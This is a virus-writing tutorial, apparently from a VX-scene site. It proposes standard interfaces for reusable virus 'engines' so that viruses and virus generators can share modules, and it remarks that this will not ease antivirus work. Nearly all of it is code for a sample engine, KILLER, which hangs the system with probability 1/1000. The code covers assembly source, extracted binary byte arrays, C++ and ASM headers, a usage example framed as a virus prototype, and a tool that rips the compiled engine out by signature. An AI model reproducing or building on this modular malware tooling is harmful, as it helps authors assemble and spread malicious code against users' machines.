Virus engines are very similar to C/C++ classes (objects), and has many identical properties. These both substances are directed to modularity. The only difference is that C++ class has larger interface part while virus engine is oriented to implementation.
Today virus engines are on the same step as programs was many years ago, when OOP was only introduced. And now is time to change.
This text was written with a single goal: to denote characterictics of virus engine, which will make it handy and useful.
An idea to write this text appeared right after i understood all the advantages of using independent components (modules) in virus writing. And there were written the following engines: LDE32, KME's, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO and MISTFALL [see Download/Engines section on this site -- herm1t], having mostly all the properties signed in this text.
But even this little attempt to standartize these engines showed me all the importance of standartization. Here should be said that such standartization has an influence mostly on interface part of the engine, while implementation in most cases remains the same. And, for sure, it will not simplify avers work.
Engine must be accompanied by some documentation, where the folloing things should be described:
Using all the features listed above, the engine code become independend from OS, ring0/3 and offset where engine is located. Such code can be permutated, i.e. any instructions can be easily analyzed and moved and/or replaced. Code or sources of such engines can be easily used by any other engines or viruses, virus constructors or generators, or turned into virus plugins.
Moreover, the task of linking asm- and cpp- code without using .obj files is solved.
Engine: KILLER. Goal: hangup with probability of 1/1000.
Source file:
----[begin KILLER.ASM]--------------------------------------------------
; KILLER engine version 1.00 FREEWARE
; action: hangup with probability of 1/1000;
; CDECL calling convention;
; 5 arguments;
; no return value, no registers modified
killer_engine proc c
arg user_param ; user-data
arg user_random ; external randomer
arg arg1
arg arg2 ; other parameters
arg arg3
pusha
cld
;;
push 1000
push user_param ; maybe ptr to some struct
call user_random ; call external subroutine
add esp, 8
;;
cmp eax, 666
je $
;;
popa
ret ; TASM produces LEAVE+RETN
endp
----[end KILLER.ASM]----------------------------------------------------
Generated ASM include file:
----[begin KILLER.INC]-------------------------------------------------- ; GENERATED FILE. DO NOT EDIT. ; KILLER 1.00 engine killer_engine_size equ 30 killer_engine: db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h db 003h,000h,000h,0FFh,075h,008h,0FFh,055h db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h db 000h,074h,0FEh,061h,0C9h,0C3h ----[end KILLER.INC]----------------------------------------------------
The same, but in C/C++:
----[begin KILLER.CPP]--------------------------------------------------
// GENERATED FILE. DO NOT EDIT.
// KILLER 1.00 engine
#define killer_engine_size 30
BYTE killer_engine_bin[killer_engine_size] =
{
0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
0x00,0x74,0xFE,0x61,0xC9,0xC3
};
----[end KILLER.CPP]----------------------------------------------------
ASM header file:
----[begin KILLER.ASH]-------------------------------------------------- ; KILLER 1.00 engine KILLER_VERSION equ 0100h ----[end KILLER.ASH]----------------------------------------------------
C/C++ header file:
----[begin KILLER.HPP]--------------------------------------------------
// KILLER 1.00 engine
#ifndef __KILLER_HPP__
#define __KILLER_HPP__
#define KILLER_VERSION 0x0100
typedef
void __cdecl killer_engine(
DWORD user_param, // user-parameter
DWORD __cdecl user_random(DWORD user_param, DWORD range),
DWORD arg1,
DWORD arg2,
DWORD arg3);
#endif //__KILLER_HPP__
----[end KILLER.HPP]----------------------------------------------------
Usage example, in ASM:
----[begin EXAMPLE.ASM]------------------------------------------------- ; KILLER 1.00 usage example include killer.ash callW macro x extern x:PROC call x endm v_data struc v_randseed dd ? ; ... ends p386 model flat locals __ .data dd ? .code start: call virus_code push -1 callW ExitProcess virus_code: pusha sub esp, size v_data mov ebp, esp ;; callW GetTickCount xor [ebp].v_randseed, eax ; randomize ;; push 3 push 2 ; parameters push 1 call $+5+2 ; push pointer to randomer jmp short my_random push ebp ; user-param == v_data ptr call killer_engine add esp, 4*5 ;; add esp, size v_data popa retn ; DWORD __cdecl random(DWORD user_param, DWORD range) ; [esp+4] [esp+8] my_random: mov ecx, [esp+4] ; v_data ptr mov eax, [ecx].v_randseed imul eax, 214013 add eax, 2531011 mov [ecx].v_randseed, eax shr eax, 16 imul eax, [esp+8] shr eax, 16 retn ;killer_engine: include killer.inc virus_size equ $-virus_code end start ----[end EXAMPLE.ASM]---------------------------------------------------
Usage example, C/C++:
----[begin EXAMPLE.CPP]------------------------------------------------- #include <windows.h> #pragma hdrstop #include "killer.hpp" #include "killer.cpp" struct v_struct { DWORD rseed; //... }; DWORD __cdecl my_random(DWORD user_arg, DWORD range) { v_struct* v = (v_struct*) user_arg; return range ? (v->rseed = v->rseed * 214013 + 2531011) % range : 0; } void main() { v_struct* v_data = (v_struct*) GlobalAlloc( GPTR, sizeof(v_struct) ); v_data->rseed = GetTickCount(); // randomize void* engine_ptr = &killer_engine_bin; (*(killer_engine*)engine_ptr)((DWORD)v_data, my_random, 1,2,3); } ----[end EXAMPLE.CPP]---------------------------------------------------
Example program to compile engine:
----[begin BUILD.ASM]---------------------------------------------------
p386
model flat
locals __
.data
db 0EBh,02h,0FFh,01h ; signature
include killer.asm
db 0EBh,02h,0FFh,02h ; signature
.code
start: push -1
callW ExitProcess
end start
----[end BUILD.ASM]-----------------------------------------------------
Example program to rip engine in binary (DB,DB,...) form from the previous file.
----[begin HAXOR.CPP]---------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#pragma hdrstop
void main()
{
FILE*f=fopen("build.exe","rb");
int bufsize = filelength(fileno(f));
BYTE* buf = new BYTE[bufsize+1];
fread(buf, 1,bufsize, f);
fclose(f);
int id1=0, id2=0;
for (int i=0; i<bufsize; i++)
{
if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4; // check signature
if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i; // check signature
}
f=fopen("killer.inc","wb");
fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");
fprintf(f,"; KILLER 1.00 engine\r\n");
fprintf(f,"killer_size equ %i\r\n", id2-id1);
fprintf(f,"killer_engine:\r\n", id2-id1);
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f,"db ");
fprintf(f,"0%02Xh", buf[id1+i]);
if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
}
fclose(f);
f=fopen("killer.cpp","wb");
fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");
fprintf(f,"// KILLER 1.00 engine\r\n");
fprintf(f,"#define killer_engine_size %i\r\n",id2-id1);
fprintf(f,"BYTE killer_engine_bin[killer_engine_size] = {\r\n");
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f," ");
fprintf(f,"0x%02X", buf[id1+i]);
if (i!=id2-id1-1) fprintf(f,",");
if ((i%8)==7) fprintf(f,"\r\n");
}
fprintf(f," };\r\n");
fclose(f);
}
----[end HAXOR.CPP]-----------------------------------------------------
Now, lets take a look into example.asm -- the future virus prototype. This file uses engine, an engine uses external randomer, and randomer uses randseed which is initialized within main virus body. As a result, many engines can call the same rnd(), or file io functions, or each other in one way - via this common structure, which is equivalent to main object.
[Back to index] [Comments (0)]